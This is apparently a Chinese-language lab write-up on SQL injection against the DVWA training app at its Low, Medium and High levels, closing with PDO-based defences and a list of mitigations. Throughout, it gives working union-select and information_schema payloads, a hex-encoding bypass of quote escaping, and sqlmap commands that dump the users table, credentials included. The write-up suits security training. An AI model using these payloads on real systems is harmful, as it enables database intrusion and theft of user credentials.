DVWA1.10之SQL注入


SQL注入简介

SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一

1.png


手工注入思路

  1. 判断是否存在注入,注入是字符型还是数字型

    当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入

    当输入的参数为字符串时,如果存在注入漏洞,可以认为是字符型注入

    字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的

  2. 猜解SQL查询语句中的字段数

  3. 获取当前数据库

  4. 获取数据库中的表

  5. 获取表中的列名(字段名)

  6. 获取数据记录


LOW级别漏洞利用

判断是否存在注入,注入是字符型还是数字型

  1. 输入1,查询成功

    1.png

  2. 输入',出现报错

    4.png

    显示数据库为MariaDB,即mysql

  3. 输入1' and '1'='1,返回正常

    2.png

  4. 输入1' and '1'='2,无返回

    3.png

可进行逻辑运算,且出现数据库报错,此为基于报错的SQL注入

需使用'引号来进行闭合,为字符型SQL注入

可猜出查询语句为select [字段1,字段2,...] from 表 where 字段='';

猜解SQL查询语句中的字段数

  1. 输入1' order by 1--,返回正常

    5.png

  2. 输入1' order by 2--,返回正常

    6.png

  3. 输入1' order by 3--,出现报错

    7.png

说明执行的SQL查询语句中只有两个字段(即查询一个数据表中的两列),即这里的First nameSurname

可猜出查询语句为select 字段1,字段2 from 表 where 字段='';

获取当前数据库

输入1' union select 1,database()--

8.png

说明当前查询的数据库为dvwa

获取dvwa数据库中的表

information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式

其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如:数据库名,数据库的表,列的数据类型与访问权限等

information_schema数据库的table表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个数据库,表类型,表引擎,创建时间等信息

输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'--

9.png

说明dvwa数据库中存在guestbookusers两张表

可猜出查询语句为select 字段1,字段2 from users where 字段='';

获取dvwa库users表中的列名

information_schema数据库的columns表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息

输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--

10.png

发现dvwausers表中有8列(即字段),分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login

可猜出查询语句为select first_name,last_name from users where user_id='';

获取数据记录

输入1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users--

11.png

则得到了dvwa库中users表中所有用户的user_id,first_name,last_name,password的数据


Medium级别漏洞利用

判断是否存在注入,注入是字符型还是数字型

前端使用下拉框限制输入参数

12.png

可以使用BurpSuite进行抓包修改输入参数

  1. 改包,使输入为'

    13.png

    报错

    14.png

    发现对'进行了转义处理

  2. 改包,使输入为1' and '1'='1

    15.png

    报错

    16.png

  3. 改包,使输入为1 and 1=1

    17.png

    正常返回

    18.png

  4. 改包,使输入为1 and 1=2

    20.png

    无返回

    19.png

可进行逻辑运算,且出现数据库报错,此为基于报错的SQL注入,但对'等特殊符号进行转义

无需使用'引号来进行闭合,为数字型SQL注入

由于是数字型注入,服务器端对特殊字符的转义就形同虚设了,因为数字型注入并不需要借助引号

可猜出查询语句为select [字段1,字段2,...] from 表 where 字段= ;

猜解SQL查询语句中的字段数

  1. 改包,使输入为1 order by 2--

    21.png

  2. 改包,使输入为1 order by 3--

    报错

    22.png

说明执行的SQL查询语句中只有两个字段(即查询一个数据表中的两列),即这里的First nameSurname

可猜出查询语句为select 字段1,字段2 from 表 where 字段= ;

获取当前数据库

改包,使输入为1 union select 1,database()--

23.png

说明当前的数据库为dvwa

获取dvwa数据库中的表

改包,使输入为1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--

24.png

说明dvwa数据库中存在guestbookusers两张表

可猜出查询语句为select 字段1,字段2 from users where 字段= ;

获取dvwa库users表中的列名

  1. 改包,使输入为1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--

    查询失败

    25.png

    因对'等特殊字符进行了转义,所以查询失败

  2. 使用十六进制对过滤进行绕过

    使用BurpSuiteusers转换为十六进制0x7573657273

    26.png

    改包,使输入为1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--

    27.png

发现dvwausers表中有8列(即字段),分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login

可猜出查询语句为select first_name,last_name from users where user_id= ;

获取数据记录

改包,使输入为1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users--

28.png

则得到了dvwa库中users表中所有用户的user_id,first_name,last_name,password的数据


High级别漏洞利用

判断是否存在注入,注入是字符型还是数字型

High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入

29.png

30.png

High级别在low级别的基础上,在SQL查询语句后加入LIMIT 1,用于希望以此控制只输出一个结果,可通过--注释符来进行注释

High级别对数据库报错进行了处理,显示统一的报错信息

low级别的注入基本相似


Impossible级别

Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性

PHP数据对象(PDO)扩展为PHP访问数据库定义了一个轻量级的一致接口

PDO提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据


SQL注入防御

  1. 所有的查询语句都使用数据库提供的参数化查询接口

  2. 对进入数据库的特殊字符('"selectunion--#order by)进行转义处理,或编码转换

  3. 严格限制数据类型

  4. 严格限制参数长度

  5. 网站每个数据层的编码统一,建议UTF-8

  6. 严格限制网站用户的数据库的操作权限,最小权限原则

  7. 统一错误信息提示

  8. 使用预编译语句

  9. 使用存储过程

  10. 白名单验证输入


SQLMAP

爆数据库

1
python2 sqlmap.py -u "http://172.16.12.85/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=cc7cccd8ffe7bb1d03328b0dace970db; security=low" --dbs --batch

31.png

爆表

1
python2 sqlmap.py -u "http://172.16.12.85/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=cc7cccd8ffe7bb1d03328b0dace970db; security=low" -D dvwa --tables --batch

32.png

爆字段

1
python2 sqlmap.py -u "http://172.16.12.85/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=cc7cccd8ffe7bb1d03328b0dace970db; security=low" -D dvwa -T users --column --batch

33.png

爆数据

1
python2 sqlmap.py -u "http://172.16.12.85/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=cc7cccd8ffe7bb1d03328b0dace970db; security=low" -D dvwa -T users -C user,password --dump --batch

34.png

35.png

---------------The End---------------
0%